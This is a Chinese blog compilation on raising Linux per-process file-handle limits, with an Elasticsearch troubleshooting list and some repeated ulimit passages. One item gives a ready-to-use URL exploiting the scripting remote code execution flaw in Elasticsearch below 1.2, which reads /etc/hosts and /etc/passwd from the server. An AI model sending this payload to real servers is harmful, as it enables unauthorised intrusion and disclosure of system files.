java文件句柄数什么用？如何修改linux单进程能够打开的最大文件句柄数

各位老铁们好，相信很多人对java文件句柄数什么用都不是特别的了解，因此呢，今天就来为大家分享下关于java文件句柄数什么用以及如何修改linux单进程能够打开的最大文件句柄数的问题知识，还望可以帮助大家，解决大家的一些困惑，下面一起来看看吧！

es的句柄数不会自动下降是怎么回事

1.由gc引起节点脱离集群

因为gc时会使jvm停止工作，如果某个节点gc时间过长，master ping3次（zen discovery默认ping失败重试3次）不通后就会把该节点剔除出集群，从而导致索引进行重新分配。

解决方法：

（1）优化gc，减少gc时间。（2）调大zen discovery的重试次数（es参数：ping_retries）和超时时间（es参数：ping_timeout）。后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。

2.out of memory错误

因为默认情况下es对字段数据缓存（Field Data Cache）大小是无限制的，查询时会把字段值放到内存，特别是facet查询，对内存要求非常高，它会把结果都放在内存，然后进行排序等操作，一直使用内存，直到内存用完，当内存不够用时就有可能出现out of memory错误。

解决方法：

（1）设置es的缓存类型为Soft Reference，它的主要特点是据有较强的引用功能。只有当内存不够的时候，才进行回收这类内存，因此在内存足够的时候，它们通常不被回收。另外，这些引用对象还能保证在Java抛出OutOfMemory异常之前，被设置为null。它可以用于实现一些常用图片的缓存，实现Cache的功能，保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。

（2）设置es最大缓存数据条数和缓存失效时间，通过设置index.cache.field.max_size: 50000来把缓存field的最大值设置为50000，设置index.cache.field.expire: 10m把过期时间设置成10分钟。

3.无法创建本地线程问题

es恢复时报错： RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]

刚开始以为是文件句柄数限制，但想到之前报的是too many open file这个错误，并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为：虚拟内存/（堆栈大小*1024*1024），也就是说虚拟内存越大或堆栈越小，能创建的线程越多。重新设置后还是会报那这错，按理说可创建线程数完全够用了的，就想是不是系统的一些限制。后来在网上找到说是max user processes的问题，这个值默认是1024，这个参数单看名字是用户最大打开的进程数，但看官方说明，就是用户最多可创建线程数，因为一个进程最少有一个线程，所以间接影响到最大进程数。调大这个参数后就没有报这个错了。

解决方法：

（1）增大jvm的heap内存或降低xss堆栈大小（默认的是512K）。

（2）打开/etc/security/limits.conf，把soft nproc 1024这行的1024改大就行了。

4.集群状态为黄色时并发插入数据报错

[7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active: Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]

这是错误信息，当时集群状态为黄色，即副本没有分配。当时副本设置为2，只有一个节点，当你设置的副本大于可分配的机器时，此时如果你插入数据就有可能报上面的错，因为es的写一致性默认是使用quorum，即quorum值必须大于（副本数/2+1），我这里2/2+1=2也就是说要要至少插入到两份索引中，由于只有一个节点，quorum等于1，所以只插入到主索引，副本找不到从而报上面那个错。

解决方法：（1）去掉没分配的副本。（2）把写一致性改成one，即只写入一份索引就行。

5.设置jvm锁住内存时启动警告

当设置bootstrap.mlockall: true时，启动es报警告Unknown mlockall error 0，因为linux系统默认能让进程锁住的内存为45k。

解决方法：设置为无限制，linux命令：ulimit-l unlimited

6.错误使用api导致集群卡死

其实这个是很低级的错误。功能就是更新一些数据，可能会对一些数据进行删除，但删除时同事使用了deleteByQuery这个接口，通过构造BoolQuery把要删除数据的id传进去，查出这些数据删除。但问题是BoolQuery最多只支持1024个条件，100个条件都已经很多了，所以这样的查询一下子就把es集群卡死了。

解决方法：用bulkRequest进行批量删除操作。

7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream

原因:es节点之间的JDK版本不一样

解决方法：统一JDK环境

8. org.elasticsearch.client.transport.NoNodeAvailableException: No node available

1）端口错

client= new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

这里9300写成9200的话会No node available

要是你连的不是本机，注意IP有没有正确

2）jar报引用版本不匹配，开启的服务是什么版本，引用的jar最好匹配（这个我没有去试，反正我的是匹配的）

3）要是你改了集群名字，还有设置集群名字

Settings settings= ImmutableSettings.settingsBuilder().put("cluster.name","xxx").build();

client= new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

4）集群超过5s没有响应

解决方法1.设置client.transport.ping_timeout设大

2.代码内加入while(true){

try{

bulk.execute().actionGet(getRetryTimeout());

break;

}

catch(NoNodeAvailableException cont){

Thread.sleep(5000);

continue;

}

}

9.elasticsearch近日被发现漏洞，可以远程执行任意代码，由于 elasticsearch提供了http接口，导致可能通过CSRF等方式借助恶意页面浏览发生攻击。

漏洞影响版本:

elasticsearch 1.2以下

测试代码：

http:// ESSERVERIP:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111102863897154977554_1400571156308&_=1400571156309

linux系统打开文件数过大会产生什么问题

在Linux下，我们使用ulimit-n命令可以看到单个进程能够打开的最大文件句柄数量(socket连接也算在里面)。系统默认值1024。对于一般的应用来说(象Apache、系统进程)1024完全足够使用。但是如何象squid、mysql、java等单进程处理大量请求的应用来说就有点捉襟见肘了。如果单个进程打开的文件句柄数量超过了系统定义的值，就会提到“toomanyfilesopen”的错误提示。如何知道当前进程打开了多少个文件句柄呢？下面一段小脚本可以帮你查看：lsof-n|awk'{print$2}'|sort|uniq-c|sort-nr|more在系统访问高峰时间以root用户执行上面的脚本，可能出现的结果如下：#lsof-n|awk'{print$2}'|sort|uniq-c|sort-nr|more13124204572424457242315624264其中第一行是打开的文件句柄数量，第二行是进程号。得到进程号后，我们可以通过ps命令得到进程的详细内容。ps-aef|grep24204mysql24204241629916:15?00:24:25/usr/sbin/mysqld哦，原来是mysql进程打开最多文件句柄数量。但是他目前只打开了131个文件句柄数量，远远底于系统默认值1024。但是如果系统并发特别大，尤其是squid服务器，很有可能会超过1024。这时候就必须要调整系统参数，以适应应用变化。Linux有硬性限制和软性限制。可以通过ulimit来设定这两个参数。方法如下，以root用户运行以下命令：ulimit-HSn4096以上命令中，H指定了硬性大小，S指定了软性大小，n表示设定单个进程最大的打开文件句柄数量。个人觉得最好不要超过4096，毕竟打开的文件句柄数越多响应时间肯定会越慢。设定句柄数量后，系统重启后，又会恢复默认值。如果想永久保存下来，可以修改.bash_profile文件，可以修改/etc/profile把上面命令加到最后。

如何修改linux单进程能够打开的最大文件句柄数

修改文件句柄数在Linux下，我们使用ulimit-n命令可以看到单个进程能够打开的最大文件句柄数量(socket连接也算在里面)。系统默认值1024。

对于一般的应用来说(象Apache、系统进程)1024完全足够使用。但是如何象squid、mysql、java等单进程处理大量请求的应用来说就有

点捉襟见肘了。如果单个进程打开的文件句柄数量超过了系统定义的值，就会提到“too many files

open”的错误提示。如何知道当前进程打开了多少个文件句柄呢？下面一段小脚本可以帮你查看：

1.lsof-n|awk'{print$2}'|sort|uniq-c|sort-nr|more

在系统访问高峰时间以root用户执行上面的脚本，可能出现的结果如下：

1.# lsof-n|awk'{print$2}'|sort|uniq-c|sort-nr|more

2. 131 24204

3. 57 24244

4. 57 24231

5. 56 24264

其中第一行是打开的文件句柄数量，第二行是进程号。得到进程号后，我们可以通过ps命令得到进程的详细内容。

1.ps-aef|grep 24204

2.mysql 24204 24162 99 16:15? 00:24:25/usr/sbin/mysqld

哦，原来是mysql进程打开最多文件句柄数量。但是他目前只打开了131个文件句柄数量，远远底于系统默认值1024。

但是如果系统并发特别大，尤其是squid服务器，很有可能会超过1024。这时候就必须要调整系统参数，以适应应用变化。Linux有硬性限制和软性限制。可以通过ulimit来设定这两个参数。方法如下，以root用户运行以下命令：

1.ulimit-HSn 4096

以

上命令中，H指定了硬性大小，S指定了软性大小，n表示设定单个进程最大的打开文件句柄数量。个人觉得最好不要超过4096，毕竟打开的文件句柄数越多响

应时间肯定会越慢。设定句柄数量后，系统重启后，又会恢复默认值。如果想永久保存下来，，可以修改/etc/profile

把上面命令加到最后。(findsun提出的办法比较合理)

/////////////////////////////////////////////////////////////////////////////

在 Linux下面部署应用的时候，有时候会遇上Socket/File: Can't open so many

files的问题，其实Linux是有文件句柄限制的（就像WinXP？），而且默认不是很高，一般都是1024，作为一台生产服务器，其实很容易就达到

这个数量，因此我们需要把这个值改大一些。

大概知道ulimit这个命令是相关的，上Google搜索了一下，大多数说的很含糊，也没有统一说一下，经过两个小时看了不少文章终于弄清楚ulimit相关的一些配置问题。

我们可以用ulimit-a来查看所有限制值，我只关心文件句柄数量的问题

open files(-n) 1024

这个就是限制数量

这里，有很多ulimit的文章都说的很含糊，究竟这个1024是系统的限制，还是用户的限制呢。其实，这个是用户限制来的，完整的说法，应该是当前用户准备要运行的程序的限制。

1、这个限制是针对单个程序的限制

2、这个限制不会改变之前已经运行了的程序的限制

3、对这个值的修改，退出了当前的shell就会消失

比如说，我先运行了一个程序A，然后通过ulimit修改了限制为2048，然后运行B，然后退出了shell再登录，然后运行C。那就只有B可以打开2048个句柄。

如果我们需要改变整体的限制值，或者我们运行的程序是系统启动的，应该怎么处理呢

其中一个方法，是想ulimit修改命令放入/etc/profile里面，但是这个做法并不好

正确的做法，应该是修改/etc/security/limits.conf

里面有很详细的注释，比如

* soft nofile 2048

* hard nofile 32768

就可以将文件句柄限制统一改成软2048，硬32768

这里涉及另外一个问题，什么是软限制，什么是硬限制

硬限制是实际的限制，而软限制，是warnning限制，只会做出warning

其实ulimit命令本身就有分软硬设置，加-H就是硬，加-S就是软

默认显示的是软限制，如果修改的时候没有加上的话，就是两个一起改

配置文件最前面的一位是domain，设置为星号代表全局，另外你也可以针对不同的用户做出不同的限制

修改了，重新登录用ulimit一开就立刻生效了，不过之前启动过的程序要重新启动才能使用新的值。我用的是CentOS，似乎有些系统需要重启才能生效。

ulimit其实就是对单一程序的限制

那系统总限制呢

其实是在这里，/proc/sys/fs/file-max

可以通过cat查看目前的值，echo来立刻修改

另外还有一个，/proc/sys/fs/file-nr

只读，可以看到整个系统目前使用的文件句柄数量

查找文件句柄问题的时候，还有一个很实用的程序lsof

可以很方便看到某个进程开了那些句柄

也可以看到某个文件/目录被什么进程占用了。

好了，关于java文件句柄数什么用和如何修改linux单进程能够打开的最大文件句柄数的问题到这里结束啦，希望可以解决您的问题哈！